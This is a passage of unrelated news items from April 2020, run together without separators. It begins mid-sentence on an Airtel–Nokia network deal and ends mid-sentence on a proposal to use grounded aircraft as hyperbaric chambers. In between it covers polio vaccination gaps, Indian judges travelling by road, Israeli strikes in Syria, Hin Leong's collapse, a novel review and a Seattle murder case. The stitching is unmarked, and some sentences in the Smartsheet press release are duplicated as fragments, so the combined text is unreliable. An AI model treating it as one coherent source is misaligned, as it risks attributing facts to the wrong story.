demand by adding network capacity and ensuring a superior quality of experience to its customers. ALSO READ: Voda, Airtel may go the Jio way, scout for tech giants looking for tie-ups The deal will also include Nokia's RAN equipment, including its AirScale Radio Access, AirScale BaseBand and NetAct OSS solution, which will help Airtel to monitor and manage its network effectively. By Charlotte Greenfield and Jibran Ahmad ISLAMABAD/PESHAWAR (Reuters) - Disruptions to immunization programmes across South Asia due to the coronavirus pandemic are upending attempts to vaccinate millions of children against deadly diseases, the United Nations' children's fund UNICEF warned on Tuesday. The pandemic has interrupted vaccine supply chains and left families fearful of attending clinics, UNICEF said, creating another looming health crisis in a region where 4.5 million children were not fully immunized against diseases such as measles, diphtheria and polio. "While the COVID-19 virus does not appear to make many children seriously ill, the health of hundreds of thousands of children could be impacted by this disruption of regular immunization services," said Jean Gough, director of UNICEF's South Asia office, in a statement. "This is a very serious threat." More than 1.5 million people die globally of diseases that could be prevented by vaccinations, according to UNICEF. Pakistan, which along with Afghanistan is home to one of the world's last polio outbreaks, has suspended its vaccination campaign against the crippling disease. In one epicentre, the north-western province of Khyber Pakhtunkhwa, senior government officials and health workers told Reuters they were concerned about a possible rise in the polio cases. "We completely stopped our efforts since the COVID-19 pandemic in the country and missed two important campaigns so far," said one official with the polio eradication programme in Peshawar, adding he expected it would be months before the campaign could resume. Globally polio cases have been cut by more than 99% since 1988, but it remains endemic in Pakistan and Afghanistan. More than 100 people were infected in Pakistan in 2019, a resurgence from a record low global annual figure of 22 cases in 2017. Spokesmen for Pakistan's health minister and Khyber Pakhtunkhwa's provincial government did not immediately respond to request for comment. Story continues Pakistan's polio eradication programme, which has long had to battle against rumours and social media campaigns claiming the vaccine is harmful to children, sends workers into communities to educate families on the benefits of immunization. But since the outbreak of the new coronavirus, which causes the COVID-19 lung disease, workers have been reassigned. "Since the polio campaign stopped ... in February, we are tracing people arriving from overseas, those having symptoms similar to coronavirus and holding meetings with local residents and prayer leaders to ensure social distance in mosques," said one worker in Peshawar. "I am doing a completely different job... I fear the number of polio cases will definitely rise after the coronavirus outbreak is over." (Reporting by Charlotte Greenfield in Islamabad and Jibran Ahmad in Peshawar; Editing by Alex Richardson) Aurangabad: A team of police personnel was pelted with stones when they went to verify a report about a religious gathering being held at a place of worship in Bidkin village in Aurangabad district of Maharashtra. The incident took place on April 28. A police official sustained minor injuries in the incident which occurred around 7:30 pm. Confirming the incident, district Superintendent of Police Mokshada Patil told PTI that a case was being registered. "A team of Bidkin Police received information that 35-40 people have gathered at a mosque to offer prayers. When a police team went to verify this information, they were pelted with stones," she said. At least 15 people have been taken in the custody in connection with the attack on police team. Religious and social gatherings are banned in view of the coronavirus-enforced lockdown across the country. On April 26, Maharashtra Chief Minister Uddhav Thackeray appealed to Muslims to offer prayers at their homes during ongoing Ramzan month. (CNN) Tedros Adhanom Ghebreyesus, World Health Organization Director-General said, the coronavirus pandemic isn't over. The pandemic is far from over, he said at a news conference. He said the World Health Organization "continues to be concerned about the increasing trends in Africa, Eastern Europe, Latin America and some Asian countries." As in all regions, cases and deaths are underreported in many countries in these regions, because of low testing capacity, Tedros said. This virus will not be defeated if we are not united, if we are not united, the virus will exploit the cracks between us and continue to create havoc. Lives will be lost, Tedros added. Communication tools identified as key pain point and hindering productivity for young UK workers Smartsheet (NYSE: SMAR), the platform for enterprise achievement, today announced that 89% of Generation Z and 91% of Millennial workers report difficulty working from home as a result of COVID-19, according to a global survey of professionals conducted by ENGINE INSIGHTS and commissioned by Smartsheet. Key findings include: 64% of Generation Z and 61% of Millennials in the UK feel the amount of time spent on video calls makes it hard to get their work done. in the UK feel the amount of time spent on video calls makes it hard to get their work done. Seventy-nine percent of the UK workforce feels less connected to their teams'; young workers especially so with 85% of Generation Z and 81% of Millennials reporting this issue. to their teams'; young workers especially so with 85% of Generation Z and 81% of Millennials reporting this issue. Sixty-eight percent of UK workers feel less informed about what is going on within their company since they started working from home. Young workers feel it the most, with 79% of Generation Z and 69% of Millennials reporting this, versus 66% of Generation X and 67% of Boomers. "This research shows that the key to helping remote workers cope with the current circumstance, and thriving in the longer-term, goes far beyond simply connecting people and teams through video-based technology," said Smartsheet CEO Mark Mader. "To be effective, people need to stay deeply connected to their work and the work of their teams. They also need context, structure, tracking, and visibility into their work. Providing those things is more important now than ever." The survey revealed several additional gaps in how younger and older workers approached productivity and workplace technology, including: Most UK workers, especially the younger generation, are struggling to be productive and communicate following the transition to remote work. Nearly half of Generation Z workers (48%) in the UK say it has been difficult to stay organized and prioritize the most important work. in the UK say it has been difficult to stay organized and prioritize the most important work. Nearly half of Millennials (48%) noted that communicating with colleagues has been difficult, while 32% of Generation Z workers say the same. UK workers are also finding it harder to gather information on project updates. Nearly half (49%) of UK workers said it's harder to give status updates on projects now that they're working remotely. Only 11% said it's easier. said it's harder to give status updates on projects now that they're working remotely. Only said it's easier. Over half (58%) of UK workers said it is harder to get status updates on projects now that they're working remotely. Only 9% say it is easier. said it is harder to get status updates on projects now that they're working remotely. Only 9% say it is easier. Thirty-eight percent of UK workers said that understanding the status of projects they're involved in and how they can best move them forward has been difficult since they began working from home. *Survey methodology The survey was conducted by ENGINE INSIGHTS among a sample of 1,004 adults in the UK ages 18+ who are currently employed, previously worked in an office setting but are now working from home due to COVID-19, and work for companies with 1,000+ employees. This survey was live on April 8-15, 2020. About Smartsheet Smartsheet (NYSE: SMAR) is the platform for enterprise achievement. By aligning people and technology so organizations can move faster and drive innovation, Smartsheet enables its 84,000 customers and millions of users to achieve more. Visit www.smartsheet.com to learn more. Forward-Looking Statements This press release contains "forward-looking" statements that are based on our management's beliefs and assumptions and on information currently available to management. Forward-looking statements include, but are not limited to, statements about Smartsheet's expectations regarding possible or assumed business strategies, channel and partner strategies, potential growth and innovation opportunities, new products, and potential market opportunities. Forward-looking statements generally relate to future events or our future financial or operating performance. Forward-looking statements include all statements that are not historical facts and can be identified by terms such as "believe," "continue," "could," "potential," "remain," "will," "would" or similar expressions and the negatives of those terms. Forward-looking statements involve known and unknown risks, uncertainties and other factors that may cause our actual results, performance or achievements to be materially different from any future results, performance or achievements expressed or implied by the forward-looking statements. These risks include, but are not limited to, risks and uncertainties related to: our ability to achieve future growth and sustain our growth rate, our ability to attract and retain talent, our ability to attract and retain customers (including government customers) and increase sales to our customers, our ability to develop and release new products and services and to scale our platform, our ability to increase adoption of our platform through our self-service model, our ability to maintain and grow our relationships with strategic partners, the highly competitive and rapidly evolving market in which we participate, our ability to identify targets for, execute on, or realize the benefits of, potential acquisitions, and our international expansion strategies. Further information on risks that could cause actual results to differ materially from forecasted results is included in our filings with the SEC, including our Annual Report on Form 10-K for the fiscal year ended January 31, 2020 filed with the SEC on March 31, 2020. Any forward-looking statements contained in this press release are based on assumptions that we believe to be reasonable as of this date. Except as required by law, we assume no obligation to update these forward-looking statements, or to update the reasons if actual results differ materially from those anticipated in the forward-looking statements. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005081/en/ Contacts: Shelby Simonson pr@smartsheet.com Amid country-wide lockdown, a veteran judges experience in driving long distances in different continents and road conditions helped the Meghalaya high court avoid a constitutional vacuum on Monday. After driving for two and a half nights and several hours in day time to cover more than 2000 kilometres from Allahabad to Shillong via Kolkata, justice Biswanath Somadder took oath on Monday morning as the new chief justice of the Meghalaya high court. Justice Somadder and his office staff from the Allahabad high court, where he served, covered the distance between Friday evening and early Monday in a convoy of four vehicles. They refuelled four times and maintained an average speed of 65 kmph, sources said. Known among close associates for his long road trips, the veteran judge had earlier driven from Brisbane to Sydney in Australia, from Kolkata to Ladakh and also in distant parts of England. But these trips were part of his vacations. Interestingly, justice Dipankar Datta of the Kolkata high court also covered an equally long distance from Bengals capital city to Mumbai around the same time. On Tuesday evening, he took oath as the new chief justice of Bombay high court. Justice Datta and his son took turns behind the wheels while covering around 2200 km, sources said. He replaced chief justice C J Bhusan Dharmadhikari, who retired on Tuesday. A Supreme Court collegium announced both the appointments on April 18. Sources told HT that had justice Somadder not reached Shillong on time, the post of the chief justice would have fallen vacant. It would have led to a constitutional vacuum as there is no provision to appoint an acting chief justice when a chief justice has already been appointed. The Supreme Court collegium, on April 18, transferred justice Mohammad Rafiq (who justice Somadder succeeded) as the new chief justice of Odisha. Justice Rafiq had left Shillong and had gone to Rajasthan and took a special flight to Odisha to take charge. He also took oath in Bhubaneswar on Monday. During the road trip, justice Somadder stopped the convoy for the first time at Aurangabad to have dinner around Friday midnight. Four vehicles were needed as the occupants had to maintain social distancing. On Saturday afternoon, the convoy reached the judges home at Salt Lake in the eastern side of Kolkata. Justice Somadder slept for two hours and packed a few things, sources said. Some roads in south and north Bengal were not in good condition and the convoy had to slow down. The convoy stopped at Siliguri before moving to Bongaigaon in Assam and then to Guwahati. Although justice Somadder and his staff had maintained all safety guidelines, they were screened by health workers at the borders of Assam and Meghalaya, sources said. The oath-taking ceremonies at the governor houses in Shillong and Bombay were attended by few people because of social distancing guidelines. SHARE THIS ARTICLE ON [April 28, 2020] Wireless Industry Launches Initiative to Help Schoolchildren Get Connected WASHINGTON, April 28, 2020 /PRNewswire/ -- CTIA, the wireless association, today announced a new program to help children participate in distance learning during COVID-19. The Connecting Kids Initiative simplifies the process for school districts to find remote learning hotspot solutions by connecting them with wireless operators working to provide broadband access to kids and families in their area. Participating carriers include the three nationwide wireless operators as well as regional operators across the country. "Millions of kids are learning from home for the first time and the wireless industry is committed to helping make sure they have the opportunity to learn remotely," said Meredith Attwell Baker, CTIA President and CEO. "We are proud to launch this initiative, and of the many other ways the wireless industry is helping, but we can't do this alone. It's important that Congress provide the funding the education community has sought to support hotspot-capable devices and services essential for remote learning." Millions of students are shifting to remote learning for the first time, but not all children have access to broadband at home. Through the Connecting Kids Initiative schools and school dstricts are now able to submit their connectivity needs using one central resource, and CTIA will connect them with wireless providers who may be able to help connect unserved families. The wireless industry has long collaborated with schools and school districts to expand educational opportunities, particularly in underserved communities. Since the start of the COVID-19 crisis, it has connected hundreds of thousands of additional students at home for the first time, thanks to new programs and partnerships. To make sure students have the tools they need to participate in distance learning and stay engaged with their teachers and classmates from afar, companies across the wireless ecosystem have increased data allotments, donated and discounted devices, and launched new online tools, services and educational games. To read more about some of the wide-ranging measures the wireless industry is taking to assist students during COVID-19, visit our blog on CTIA.org. To learn more about CTIA's Connecting Kids Initiative, click here. Official representatives from schools and school districts can visit the remote learning need assessment page to submit connectivity requests, and direct any questions to [email protected]. For more about the wireless industry's response to COVID-19, visit our industry response page. View original content to download multimedia:http://www.prnewswire.com/news-releases/wireless-industry-launches-initiative-to-help-schoolchildren-get-connected-301048531.html SOURCE CTIA [ Back To TMCnet.com's Homepage ] Israel carried out air strikes on villages close to the Syrian capital Damascus earlier this week, raising questions about its true targets, writes Bassel Oudat in Damascus In defiance of UN appeals for a freeze on armed conflicts in the Middle East while the world fights the Covid-19 pandemic, Israel staged a pre-dawn attack on a suburb of Damascus on Monday. It did not comment on the strikes, which caused several casualties. Israeli missiles struck the homes of residents in the villages of Al-Adliya and Al-Hujeira on the outskirts of Damascus, killing seven, Syrian state news reported on Monday. The Syrian authorities gave no details of the locations that were hit, the possible causes of the strikes, or why they had targeted civilians in a couple of tiny villages so close to the capital. However, according to the opposition Syrian Observatory for Human Rights (SOHR), the strikes targeted locations belonging to Iranian, Hizbullah, Syrian and other militias in areas south and southwest of Damascus. Seven people were killed in the pre-dawn raids, four Iranian soldiers and three civilians, including a child, the London-based Observatory reported. Israel has increased its strikes in Syria in recent years, primarily targeting Syrian army mid-range missile manufacturing facilities and Iranian and Hizbullah forces. On 20 April, an Israeli airstrike killed nine fighters from pro-regime and Iranian forces in the vicinity of Palmyra in central Syria. The Israeli raids certainly targeted Iranian Revolutionary Guard locations near Damascus, SOHR director Rami Abdel-Rahman told Al-Ahram Weekly. Several sites belonging to Tehrans militias were destroyed south of Damascus and four fighters were killed. Despite Damascuss repeated protests, Israel insists that it will continue to fight what it describes as Irans attempts to embed itself militarily in Syria by sending advanced weaponry to Hizbullah. The loud explosions that awoke residents of Damascus on Monday morning came from areas just south of the capital where there are numerous facilities belonging to Iranian and Hizbullah forces and allied groups of Syrian and other nationalities. The areas are almost totally controlled by the Iranians and Lebanese Hizbullah. According to Syrian opposition forces, one of the Israeli strikes targeted a meeting attended by Iranian and Syrian individuals among whom were several Iranian military commanders. The Israeli air force has carried out hundreds of air and missile strikes in Syria since the Syrian conflict erupted in 2011. For the most part, it has targeted camps, logistics facilities, personnel and other military targets belonging to Hizbullah and Iran. It has also struck Syrian military targets such as the Syrian Defence Ministrys scientific research centre, which is responsible for Damascuss missile development programme. Israel rarely claims responsibility for its attacks. The Israeli strike on Monday morning came a week after a brief visit by Iranian Foreign Minister Mohamed Javad Zarif to Damascus on 20 April. The visit, in which Zarif met with Syrian President Bashar Al-Assad, surprised observers as it occurred while Iran, like the rest of the world, has been struggling to fight the spread of the Covid-19. It appears that the visit was a response to criticisms levelled against Al-Assad in the Russian press and was therefore a means to demonstrate Irans continued support for the Damascus regime. Immediately after the visit, the three Astana Process partners of Russia, Iran and Turkey held a teleconference at the foreign-minister level to discuss developments on the ground in Idlib and east of the Euphrates in Syria, the political process, humanitarian situation and the return of refugees. The teleconference, convened at Tehrans request, produced little apart from affirming that Iran is still a key player in Syria. Just as Iran is worried by a surge in Russian media attacks against the regime in Damascus, Moscow is also worried by the threat Iran poses to Russian aims in Syria. Israel is concerned about the threat the Iranian presence in Syria poses to its national security. Iran clearly has every intention of remaining in Syria, and it will certainly be expecting payback from the regime after the support Tehran has given it since 2011 despite mounting pressures in the form of US sanctions and Israeli strikes. Thus far, such pressures have not been sufficient to compel Iran to withdraw militarily from Syria or relinquish its influence there. Tehran will continue to manoeuvre in ways to ensure it remains a key player in Syria, and it has escalated its actions towards this end since being sidelined from last years Russian-Turkish de-escalation agreement in Idlib. Iran feels it is in its interests to obstruct Russian efforts to promote a political settlement in Syria because it fears that this would pave the way to future arrangements that would exclude Iran. The US and Israel have long made it clear that they want Iran out of Syria, and increasingly the rest of the international community has been moving more firmly in this direction as well. For this reason, Iran will continue to nettle Israel from Syrian territory and Israel will continue to stage strikes into Syria, at least until international efforts succeed in achieving a comprehensive and lasting political solution to the Syrian crisis. *A version of this article appears in print in the 30 April, 2020 edition of Al-Ahram Weekly under headline: United we stand Search Keywords: Short link: During the Democratic Weekly Address, Sen. Jeanne Shaheen (D-NH) stated that aid should be provided to state and local governments and for workers in essential businesses. Shaheen was Tuesdays KVML Newsmaker of the Day. Here are her words: Hi, Im Jeanne Shaheen and I represent New Hampshire in the United States Senate. The COVID-19 pandemic is the worst crisis our country has faced in my lifetime. It has taken too many loved ones, far too soon. As a nation we are united in offering consolation to the many grieving families. And because of this crisis, there are too many families facing difficult struggles and in desperate need of assistance. We just recently learned that over 4 million more Americans lost their jobs and filed for unemployment last week. In New Hampshire, Im also hearing from: small businesses that dont know if theyll survive the week; hospitals that are having to furlough workers as they struggle to treat COVID-19 patients; Small town mayors trying to protect their communities while tax revenues plummet; and food banks without enough food to serve the many more families who need help. Big challenges remain and people still need help. This week, Congress came to an agreement on another bipartisan bill to help get our country through this crisis. I joined with Democrats in insisting that this bill provide more to keep small businesses alive and workers on payroll. But the Trump Administration is allowing some large businesses and corporations to receive assistance through small business relief programs. Thats wrong and it must stop. I helped negotiate these programs and they werent intended for big business but rather for small business that are truly hurting. Republicans and Democrats must work together to make sure theres strict oversight of these programs to prevent abuse. This week, we also secured relief for these smaller businesses with relationships with local lenders, not just big banks. We included financial support to hospitals and other healthcare providers so they can continue to treat patients during this pandemic and serve the many health needs in our communities. And because we must make testing more widely available, this new agreement includes new funding for testing. Testing is key to re-opening our economy and getting life back to some semblance of normal. President Trump has said that everyone who needs a test can get a test, but we know thats not true. I recently spoke with a health care center in New Hampshire that had 5 tests 5!for their entire facility. That is just unacceptable. So much work remains. For instance, state and local governments desperately need help if theyre going to continue to support teachers, fire fighters, police, and municipal services while also marshalling COVID-19 response efforts. And yet, Mitch McConnell recently suggested that our cities and towns should just declare bankruptcy. Well thats wrong. Our cities and towns need help. And we need to pass legislation that gives additional support for all those on the frontlines keeping our grocery stores and other essential businesses open, including our health care workers and first responders who are sacrificing so much for our health and safety. Our nation owes them a great debt. Health care workers in particular are working around the clock to save lives while providing comfort to COVID-19 patients who must be separated from their loved ones. Democrats in the Senate have proposed a Heroes Fund that would provide pay increases to keep existing workers on the job and incentives to support recruitment. For example, New Hampshire recently began paying home health care workers an additional $300 a week. Lets get to work on these priorities in a bipartisan way. The American people need help. I know these are incredibly trying times for everyone. But it cant be said enough that we are all in this together. Please, take time to check-in with your friends and neighbors to offer encouragement and support. We must continue to unite as a country and stand as one. Thats how we will overcome this crisis. Thank you for listening. The Newsmaker of the Day is heard every weekday morning at 6:45, 7:45 and 8:45 on AM 1450 and FM 102.7 KVML. Hin Leong has multiple storage locations at Universal Terminal, Tuas Terminal and floating storages in Singapore. (PHOTO: Hin Leong)( By Andy Hoffman and Dan Murtaugh (Bloomberg) -- Singapore has long touted itself as the ideal home for a commodity trading house, with low taxes, light regulation and a view of one of the worlds busiest shipping channels. That hard-earned reputation is now taking a hit after a spate of financial scandals and failures, culminating in the dramatic demise of Hin Leong Trading Pte, the fabled marine fuel trader that has confessed to hiding about US$800 million in losses and selling off oil inventories that were backstopping loans. Just weeks before Hin Leongs failure, Agritrade International Pte, whose businesses span palm oil and coal mining, collapsed amid allegations of fraud. Hontop Energy Pte, an oil trader linked to a Chinese refiner, entered receivership around the same time, blaming cratering demand due to the coronavirus pandemic. And its been just a couple of years since Noble Group Ltd., a Singapore-listed firm that was once Asias largest commodities house, spiraled into a court-appointed restructuring after allegations of overly aggressive accounting practices. The collapse of commodities traders like Noble, Hin Leong and Agritrade hurts our reputation, said Mak Yuen Teen, an accounting professor who specializes in corporate governance at the National University of Singapore. Our rules, monitoring and enforcement for companies are weak and we are now paying a heavy price. For observers such as Mak, it raises questions over the strength of Singapores regulatory and legal oversight of trading houses, which need vast amounts of bank financing to buy, blend, store and transport raw materials. For others, the problems are inherent in the necessarily secretive and risky modus operandi of the traders themselves, who cultivate every edge to succeed on often razor thin margins, and it just so happens that Singapore is home to a lot of them. Either way, when a trading house goes down, it creates collateral damage across the system. Story continues Financial Scandals Financial scandals are nothing new to Singapore, dating back to the original rogue trader, Nick Leeson, whose unauthorised bets on Japanese stock futures resulted in the bankruptcy of Barings Bank in 1995. There have been a string of commodity scandals since, from China Aviation Oil losing US$550 million in 2004 to a Mitsubishi Corp. trader losing US$314 million last year. Who When What Hin Leong 2020 Hid US$800 million in oil trading losses Agritrade 2020 Forged bills of lading hiding potential losses on US$600 million of liabilities Hontop Energy 2020 Trading arm of Chinese refiner went into receivership Petro-Diamond 2019 Rogue trader lost US$314 million on oil trades Noble Group 2015 Allegations of improper accounting foreshadowed firms demise Olam 2012 Muddy Waters accused it of Enron-like accounting problems Mitsui 2006 US$81 million in bad naphtha trades led to closing of Singapore office China Aviation Oil 2004 US$550 million loss in oil derivatives The countrys Trade and Industry Minister Chan Chun Sing said in a Bloomberg TV interview last week that he doesnt think Hin Leongs collapse would affect the wider market, and that he doesnt think the case has dented the countrys reputation at this point. The government takes a firm stance against unlicensed and illegal trading activity, with penalties including fines and imprisonment, said a spokesperson for Enterprise Singapore, the agency that promotes international trade. Otherwise the country remains an attractive location for trading houses, and has a clear and tested set of insolvency laws that allows for the orderly winding down of companies to ensure theres no systemic contagion, the spokesperson said in an emailed statement. Traders in Singapore of everything from zinc to oil said their bankers were pulling back from short-term financing. Lenders are asking for more collateral, financing costs have jumped, and in some cases the banks simply wont issue letters of credit to some smaller companies. Thats echoed by the lenders themselves, who have said theyre reducing their exposure to commodities by cutting short-term loans to some clients and only lending to the biggest traders. Low Taxes Singapore courts trading firms around the world to rent office space and hire well-educated locals. The government offers traders corporate tax rates of just 5%, even better than the 13% rates offered to the trading houses that populate the cantons of Switzerland. It means that between 60% and 80% of the worlds top oil, metals and agricultural companies are operating in the city state, according to Enterprise Singapores website. You see Singapore showing up in the commodity problems because they have gone out and provided aggressive financial incentives for people to locate these commodity trading businesses in Singapore, said Michael Dee, a former senior managing director at Singapore state investment firm Temasek Holdings Pte. So you have a higher propensity for those businesses to be in Singapore. Dee was a high profile critic of both Noble Group and agricultural trader Olam International Ltd., which survived a short-selling attack by Muddy Waters LLC after being rescued by Dees former firm. And Singapore certainly has its defenders. The city-states regulations are no more lax than any other major financial hub, according to Jean-Francois Lambert, an industry consultant and former trade finance banker with HSBC Holdings Plc. The fundamental issue is that physical and financial commodity trading is difficult to understand and monitor from outside the company, he said. Singapore has to walk a fine line between being agile and resourceful in attracting new traders, while not tolerating bad behaviour, said John Driscoll, a veteran oil trader and analyst who now lectures on the topic at Singapore Management University. Theyre supportive, but at the same time its not the Wild West, he said. Police Investigations Regulators in the city state have drawn criticism for being slow to react to problems. Noble had been under fire from an ex-employee and short-sellers such as Muddy Waters for three years when authorities opened an investigation in 2018. No charges or allegations have come out of the probe. Investigations are ongoing and no other information is available right now, a Singapore Police Force spokeswoman said by email. Police are now also investigating Hin Leong, after the firm told creditors that its liabilities were US$4.05 billion as of early April against assets of just US$714 million, leaving a hole of about US$3.34 billion. Hin Leong doesnt have to file financial statements because of its classification as an exempt private company with fewer than 20 members and does not have any corporations holding beneficial interest in its shares. It declared revenue of more than US$20 billion in its 2019 financial year. How can a company with US$20 billion revenue and this amount of assets and liabilities be an exempt private company? Mak said. This is a serious deficiency in our regulation. There are so many stakeholders who will be affected by this. 2020 Bloomberg L.P. Lucknow, April 28 : Uttar Pradesh Chief Minister Yogi Adityanath will hold a video conference with students who were brought back to their homes from Kota, on Tuesday evening, a government spokesman said. According to thespokesman, the Chief Minister will enlighten the students about safety protocols prescribed to combat the deadly virus. More than 7,500 students who were brought back to the state from Kota about a week ago, have been placed in 14-day quarantine in their homes. Yogi is also expected to apprise the students of online classes being conducted and inquire about their studies. An exploration of motivation: Maeve Galvin's novel is every bit as thrilling and complex as its setting As anyone who has been there knows, Cambodia is a bubbling mass of contradictions. Natural beauty and friendliness collide with grinding poverty and corruption, for a start. In Phnom Penh, piles of rubbish languish in the gutter next to skyscraper hotels with glossy cocktail bars. It attracts people for many reasons. "Expats call Phnom Penh the 'playpen'," Maeve Galvin, who has worked in the country as a humanitarian, smiles. "It's a very particular setting - for people with any kind of compulsion towards addiction or hedonism, it might not be a great place, especially if you have unlimited [financial] resources." There are, famously, the 'sexpats' who frequent Street 51; the backpackers and tourists, and then those who arrive into the country for humanitarian work. And even in the latter faction, there are divides. Bray native Maeve Galvin, formerly a journalist, decided to work in the NGO sector after fostering a keen sense of social justice in her first career. "Originally, I wanted to be [journalist] John Pilger," she smiles. "But when I graduated in 2008, I had this social justice ambition, too. I didn't have what it took for a career in journalism, but then I found myself reading more and more about NGOs. My heroes like Christina Noble and Mary Robinson did this kind of work, and if you grew up in 1990s Ireland, there was certainly this idea of people doing good work over 'there'. "I was curious about it - I started on an internship with Amnesty International, went on to do a volunteer post in Nigeria, and then went on a funded year with the UN to Cambodia." Her time there forms the inspiration for Galvin's first novel, The Saviours. Much as its title suggests, the book explores the idea of the 'saviour complex' that is inherent in many foreign aid workers. While in Cambodia, Galvin came across foreign aid workers of different stripes during her three years there. Many were certainly in the job for the right reasons, like the book's character Janice Steiner. Janice is one of the country's most eminent and respected activists and aid workers. Janice's daughter Caitlyn is full of ideals, and similarly keen to 'save' the troubled country. Caitlyn meets Galwegian Tom, who is over in Cambodia to help, certainly, but also to contemplate his next life move. He is by turns seduced by Cambodia's hedonistic streak, and envious/resentful of the profligate ways of the humanitarian big guns. "In Cambodia, there can be a lot of stories about people who came on holiday and then fell in love with the place," explains Galvin. "There's that sort of self-appointed 'mission' thing going on. I'm conscious of that compulsion that people get to fix the place. Cambodia can be an incredibly seductive place in that way. Also, there's no real regulation when it comes to setting up an NGO here. You can get a business visa pretty much on arrival, and it's a place fertile for this kind of saviour complex. Video of the Day "There's a lost soul component too to the ex-pat scene," Galvin adds. "In a place like Cambodia, you can have characters like Tom, living at the high end of it. Even if you don't earn a lot of money, Westerners can have a very enviable lifestyle with drivers, top-end restaurants, beach resorts the pay disparity between locals and international workers creates a huge social gulf. "Overnight, a Westerner who is lower middle class becomes a one-percenter in Cambodia. Even if I take my own experience, I was treated well and revered, and the privilege is really something I wanted to shed light on. It's really uncomfortable, not based on merit. "In fact, it's undeserved for a lot of Westerners. It can lead to arrogance, and people behaving in a way they mightn't in their home country. Those things need to be called out." In The Saviours, Janice and Caitlyn have a compellingly fractious relationships: for all their similarities, they rub each other up the wrong way. Caitlyn often accuses her humanitarian mother of abandoning her with her father in the US to follow her dreams of charity work in Cambodia. The relationship gives The Saviours yet more propulsion. "I did draw on personal experience, and I could draw on what Caitlyn goes through a little," says Galvin. "I'm just fascinated by non-traditional family set-ups, too." Above all, Galvin wanted to shed a light on the intricacies of aid work. "This work has an interesting relationship with passion, and it's an industry in which you need professional skills," she notes. "The likes of Tim are a minority, but if someone is a selfish person, but good at their job, does that matter?" Still, having passion for aid work doesn't come without a price, and in the novel, Janice soon reaches the brink of burnout, burdened by responsibility. All in all, Galvin has delivered a transportive novel that is every bit as thrilling and complex as its setting. It asks many intriguing questions about people's motivations to move to a country like Cambodia to 'rescue' people. "Passion isn't always a great compass, in fact it can be exhausting," Galvin observes. "I made Caitlyn 25 years old, because at that age, passion is a power that can often be misguided. "There's definitely a relationship between idealism and burnout going on throughout the book - passion can be dampened a lot by pure exhaustion in this sector." The Saviours, published by Merdog Books, is out on Friday priced 15 A state lawmaker in Illinois won a restraining order on Monday against Governor J.B. Pritzker's stay-at-home order in a case that could lead to more legal challenges against decrees by the first-term governor intended to stem the spread of COVID-19. Illinois State Representative Darren Bailey, a Republican, filed a lawsuit against Pritzker last week, saying the Democrat overstepped his authority when he issued a stay-at-home order on March 20 and then extended it until the end of May. Stay-at-home orders issued by governors of both parties across the United States and subsequent decisions to slowly reopen state economies have turned into highly charged political issues in recent weeks as the shutdowns have hammered the nation's economy. Illinois State Representative Darren Bailey, speaks at a protest against the stay-at-home order in front of the Capitol building in Springfield on Saturday On Monday afternoon, Clay County Circuit Court Judge Michael McHaney issued a temporary restraining order blocking Pritzker from forcing Bailey to isolate and quarantine in his home in Xenia, a small community 250 miles south of Chicago. Pritzker said he would appeal the ruling. History will 'remember those who so blindly devoted to ideology and the pursuit of personal celebrity that they made an enemy of science and reason,' he said after learning of the ruling. Pritzker added that Bailey's effort was an insult to the 1,983 people who had died in Illinois from the respiratory virus. 'In the interim, we will be issuing new public health directives so we can continue to respond to this public health crisis,' he added. On Monday afternoon, Clay County Circuit Court Judge Michael McHaney issued a temporary restraining order blocking Pritzker (right) from forcing Bailey (left) to isolate and quarantine in his home in Xenia, a small community 250 miles south of Chicago. Pritzker said he would appeal the ruling Although Monday's order only applied to Bailey and no other Illinois resident, an attorney for the Republican said he had received heavy interest in similar legal actions against the governor's order. 'Enough is enough! I filed this lawsuit on behalf of myself and my constituents who are ready to go back to work and resume a normal life,' Bailey said in a statement on Thursday when he filed the suit. Another hearing to review the case is scheduled for next week. (Newser) Police in a Seattle suburb say a 13-year-old murder suspect told detectives he "just felt like" killing a stranger. Police say the teen followed 35-year-old Hassan Ali Hassan along a street in Burien last Tuesday night before pulling out a gun and shooting Hassan once in the head, Q13 reports. Hassan died in a Seattle hospital Thursday and the teen was arrested the next day. "He admitted to shooting the victim because he was depressed and felt like if he didn't kill someone he would kill himself and because he 'just felt like doing it,'" court documents state. Police say that after the shooting, the teen ran to a friend's house and knocked on a window, but ran away when he heard sirens. story continues below "It's really sad when you think about it. Just the entire picture," says King County Sheriff's Office spokesman Sgt. Ryan Abbott, per KING5. "Somebody's life was taken, a 35-year-old-male, and just the fact that the suspect is 13 years old, it is very tragic." Police say the teen had been living at the home of his former girlfriend, whose mother told detectives that her gun was missing. Police do not believe the teen had any connection to Hassan, KOMO News reports. "The victim never met this guy, didn't say anything to him. didn't even know it was coming," Abbott says. Prosecutors have not said whether the teen will be tried as an adult. (Read more Washington state stories.) Prasanta Mazumdar By Express News Service GUWAHATI: During Lockdown 2.0, Justice has travelled and how! Justice Biswanath Somadder, who needed to take up his new appointment as Chief Justice of the Meghalaya High Court, neither took a chartered flight nor ordered a train. Instead, he traveled nearly 2,000 km from Uttar Pradesh by road to Meghalaya's capital Shillong for his swearing-in. He was serving as a Judge of the Allahabad High Court and he covered the distance from the north Indian city in two phases. First, he travelled up to Kolkata. After a brief hiatus there, he resumed his journey for Shillong and reached the hill station on Sunday night. He was administered the oath of office by Governor Tathagata Roy. Everyone present there maintained the standard protocols of COVID-19 including social distancing. Justice Mohammad Rafiq, who was serving as the Meghalaya HC Chief Justice, also travelled by road to Bhubaneswar to take oath as the Chief Justice of Orissa High Court. Meghalaya's Deputy Chief Minister Prestone Tynsong told journalists Justice Somadder followed the COVID-19 protocols before and after his arrival. Soon after his swearing-in, he confined himself to his residence to undergo a 14-day quarantine. Born in 1963, Justice Somadder did his schooling at the La Martiniere for Boys in Kolkata and graduated from the University of Calcutta. He enrolled as an advocate in 1989. Elevated as a permanent Judge of the Calcutta High Court in 2006, he was appointed as the Executive Chairman of State Legal Services Authority of West Bengal in 2018 and then, as the Judge-in-Charge, Administrative Department, High Court at Calcutta the same year. He was appointed as a Judge of the Allahabad High Court in 2019. Grounded airplanes could be turned into hyperbaric chambers to treat critically-ill coronavirus patients, according to a radical new proposal. Lungfish Dive Systems, a British company that manufactures scuba equipment, is spearheading a global initiative to explore whether hyperbaric oxygen therapy (HBOT) could reduce the COVID-19 fatality rate by helping patients breathe better and giving their lungs a chance to recover. Lungfish founder Dr Daniel Reynolds came up with the idea in response to research which shows that the majority of coronavirus patients who are put on ventilators do not recover. In most cases, Reynolds says, patients are dying because of organ failure caused by a chronic lack of oxygen during respiratory 